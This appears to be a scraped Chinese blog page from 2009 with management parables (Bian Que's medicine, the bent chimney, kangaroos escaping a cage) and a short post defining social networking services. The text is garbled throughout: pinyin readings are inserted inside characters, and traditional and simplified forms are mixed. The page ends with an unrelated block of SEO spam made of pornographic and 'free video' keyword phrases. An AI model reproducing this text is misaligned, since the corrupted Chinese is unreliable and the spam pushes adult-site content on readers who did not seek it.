          沒(méi)想到隔天居然又看到袋鼠全跑到外面,于是管理員們大為緊張,決定一不做二不休,將籠子的高度加高到一百公尺。
          一天長(zhǎng)頸鹿和幾只袋鼠們?cè)陂e聊,“你們看,這些人會(huì)不會(huì)再繼續(xù)加高你們的籠子?”長(zhǎng)頸鹿問(wèn)。
          “很難說(shuō)。”袋鼠說(shuō)∶“如果他們?cè)倮^續(xù)忘記關(guān)門的話!”
          點(diǎn)評(píng):事有“本末”、“輕重”、“緩急”,關(guān)門是本,加高籠子是末,舍本而逐末,當(dāng)然就不得要領(lǐng)了。管理是什么?管理是抓事情的“本末”、“輕重”、“緩急”。



    扁鵲的醫(yī)術(shù) 
          魏文王問(wèn)名醫(yī)扁鵲說(shuō)∶“你們家兄弟三人,都精于醫(yī)術(shù),到底哪一位最好呢?” 
          扁鵲答說(shuō)∶“長(zhǎng)兄最好,中兄次之,我最差。” 
          文王再問(wèn)∶“那么為什么你最出名呢?” 
          扁鵲答說(shuō)∶“我長(zhǎng)兄治病,是治病于病情發(fā)作之前。由于一般人不知道他事先能鏟除病因,所以他的名氣無(wú)法傳出去,只有我們家的人才知道。我中兄治病,是治病于病情初起之時(shí)。一般人以為他只能治輕微的小病,所以他的名氣只及于本鄉(xiāng)里。而我扁鵲治病,是治病于病情嚴(yán)重之時(shí)。一般人都看到我在經(jīng)脈上穿針管來(lái)放血、在皮膚上敷藥等大手術(shù),所以以為我的醫(yī)術(shù)高明,名氣因此響遍全國(guó)。” 
          文王說(shuō)∶“你說(shuō)得好極了。” 
          點(diǎn)評(píng):事后控制不如事中控制,事中控制不如事前控制,可惜大多數(shù)的事業(yè)經(jīng)營(yíng)者均未能體會(huì)到這一點(diǎn),等到錯(cuò)誤的決策造成了重大的損失才尋求彌補(bǔ),有時(shí)是亡羊補(bǔ)牢,為時(shí)已晚。



    曲突徒薪 
          有位客人到某人家里作客,看見(jiàn)主人家的灶上煙囪是直的,旁邊又有很多木材。 
          客人告訴主人說(shuō),煙囪要改曲,木材須移去,否則將來(lái)可能會(huì)有火災(zāi),主人聽(tīng)了沒(méi)有做任何表示。 
          不久主人家里果然失火,四周的鄰居趕緊跑來(lái)救火,最后火被撲滅了,于是主人烹羊宰牛,宴請(qǐng)四鄰,以酬謝他們救火的功勞,但是并沒(méi)有請(qǐng)當(dāng)初建議他將木材移走,煙囪改曲的人。 
          有人對(duì)主人說(shuō)∶“如果當(dāng)初聽(tīng)了那位先生的話,今天也不用準(zhǔn)備筵席,而且沒(méi)有火災(zāi)的損失,現(xiàn)在論功行賞,原先給你建議的人沒(méi)有被感恩,而救火的人卻是座上客,真是很奇怪的事呢!” 
          主人頓時(shí)省悟,趕緊去邀請(qǐng)當(dāng)初給予建議的那個(gè)客人來(lái)吃酒。 
          點(diǎn)評(píng):一般人認(rèn)為,足以擺平或解決企業(yè)經(jīng)營(yíng)過(guò)程中的各種棘手問(wèn)題的人,就是優(yōu)秀的管理者,其實(shí)這是有待商榷的,俗話說(shuō)∶“預(yù)防重于治療”,能防患于未然之前,更勝于治亂于已成之后,由此觀之,企業(yè)問(wèn)題的預(yù)防者,其實(shí)是優(yōu)于企業(yè)問(wèn)題的解決者。


    秀才買材 
          有一個(gè)秀才去賣材,他對(duì)賣材的人說(shuō)∶“荷薪者過(guò)來(lái)!”賣材的人聽(tīng)不懂“荷薪者”(擔(dān)材的人)三個(gè)字,但是聽(tīng)得懂“過(guò)來(lái)”兩個(gè)字,于是把材擔(dān)到秀才前面。 
          秀才問(wèn)他∶“其價(jià)如何?”賣材的人聽(tīng)不太懂這句話,但是聽(tīng)得懂“價(jià)”這個(gè)字,于是就告訴秀才價(jià)錢。 
          秀才接著說(shuō)∶“外實(shí)而內(nèi)虛,煙多而焰少,請(qǐng)損之。(你的木材外表是干的,里頭卻是濕的,燃燒起來(lái),會(huì)濃煙多而火焰小,請(qǐng)減些價(jià)錢吧。)”賣材的人因?yàn)槁?tīng)不懂秀才的話,于是擔(dān)著材就走了。 
          點(diǎn)評(píng):管理者平時(shí)最好用簡(jiǎn)單的語(yǔ)言、易懂的言詞來(lái)傳達(dá)訊息,而且對(duì)于說(shuō)話的對(duì)象、時(shí)機(jī)要有所掌握,有時(shí)過(guò)分的修飾反而達(dá)不到想要完成的目的。
    posted @ 2009-12-29 10:51 肖馬輝 閱讀(192) | 評(píng)論 (0)編輯 收藏
     
    一句話說(shuō)SNS:通過(guò)網(wǎng)絡(luò)進(jìn)行社會(huì)交往的系統(tǒng)。

    兩句話說(shuō)SNS:通過(guò)網(wǎng)絡(luò)進(jìn)行社會(huì)交往的系統(tǒng)。系統(tǒng)中可以衍生出多項(xiàng)有利于聯(lián)絡(luò)人的應(yīng)用。

    三句話說(shuō)SNS:通過(guò)網(wǎng)絡(luò)進(jìn)行社會(huì)交往的系統(tǒng)。系統(tǒng)中可以衍生出多項(xiàng)有利于聯(lián)絡(luò)人的應(yīng)用。這些應(yīng)用可一對(duì)多也可以一對(duì)一。

    四句話說(shuō)SNS:通過(guò)網(wǎng)絡(luò)進(jìn)行社會(huì)交往的系統(tǒng)。系統(tǒng)中可以衍生出多項(xiàng)有利于聯(lián)絡(luò)人的應(yīng)用。這些應(yīng)用可一對(duì)多也可以一對(duì)一。用戶在其中收獲的僅僅是聯(lián)系而非傳統(tǒng)的信息。

    五句話說(shuō)SNS:通過(guò)網(wǎng)絡(luò)進(jìn)行社會(huì)交往的系統(tǒng)。系統(tǒng)中可以衍生出多項(xiàng)有利于聯(lián)絡(luò)人的應(yīng)用。這些應(yīng)用可一對(duì)多也可以一對(duì)一。用戶在其中收獲的僅僅是聯(lián)系而非傳統(tǒng)的信息。這些聯(lián)系在以往的網(wǎng)絡(luò)中實(shí)際已經(jīng)存在且已成信息化關(guān)系。

    六句話說(shuō)SNS
    :通過(guò)網(wǎng)絡(luò)進(jìn)行社會(huì)交往的系統(tǒng)。系統(tǒng)中可以衍生出多項(xiàng)有利于聯(lián)絡(luò)人的應(yīng)用。這些應(yīng)用可一對(duì)多也可以一對(duì)一。用戶在其中收獲的僅僅是聯(lián)系而非傳統(tǒng)的信息。這些聯(lián)系在以往的網(wǎng)絡(luò)中實(shí)際已經(jīng)存在且已成信息化關(guān)系。信息化關(guān)系可通過(guò)頁(yè)面和操作呈現(xiàn)出來(lái)。

    七句話說(shuō)SNS
    :通過(guò)網(wǎng)絡(luò)進(jìn)行社會(huì)交往的系統(tǒng)。系統(tǒng)中可以衍生出多項(xiàng)有利于聯(lián)絡(luò)人的應(yīng)用。這些應(yīng)用可一對(duì)多也可以一對(duì)一。用戶在其中收獲的僅僅是聯(lián)系而非傳統(tǒng)的信息。這些聯(lián)系在以往的網(wǎng)絡(luò)中實(shí)際已經(jīng)存在且已成信息化關(guān)系。信息化關(guān)系可通過(guò)頁(yè)面和操作呈現(xiàn)出來(lái)。這種頁(yè)面多呈現(xiàn)從Web1.0到Web2.0的進(jìn)步。
    posted @ 2009-12-29 10:50 肖馬輝 閱讀(214) | 評(píng)論 (0)編輯 收藏
     
    主站蜘蛛池模板: 日韩视频免费在线| 人人揉揉香蕉大免费不卡| 成人性生交大片免费看无遮挡 | 精品视频一区二区三区免费| 国产亚洲精品免费视频播放| 天天综合亚洲色在线精品| 成人影片麻豆国产影片免费观看 | 亚洲va久久久噜噜噜久久狠狠| 国产黄在线观看免费观看不卡| 亚洲毛片av日韩av无码| 国产精品无码永久免费888| 亚洲免费在线观看| 你是我的城池营垒免费看| 久久亚洲国产欧洲精品一| 无码av免费网站| 久久综合亚洲色HEZYO社区 | 亚洲成a人片在线观看中文!!! | 成人看的午夜免费毛片| 亚洲成av人片天堂网无码】| 免费国产a国产片高清网站| 深夜福利在线视频免费| 亚洲精品无码AV人在线播放| 毛片在线全部免费观看| 亚洲大香人伊一本线| 成人最新午夜免费视频| 男女啪啪免费体验区| 国产V亚洲V天堂A无码| 最近中文字幕2019高清免费| 国产成人在线观看免费网站| 牛牛在线精品观看免费正| 亚洲AV成人精品网站在线播放| 亚洲视频在线免费看| 爱情岛亚洲论坛在线观看 | 免费看黄福利app导航看一下黄色录像| 亚洲狠狠爱综合影院婷婷| 无码av免费一区二区三区试看| 亚洲专区一路线二| 国产黄色一级毛片亚洲黄片大全 | 久久精品毛片免费观看| 亚洲欧洲日产国码久在线| 亚洲色大成网站www永久一区|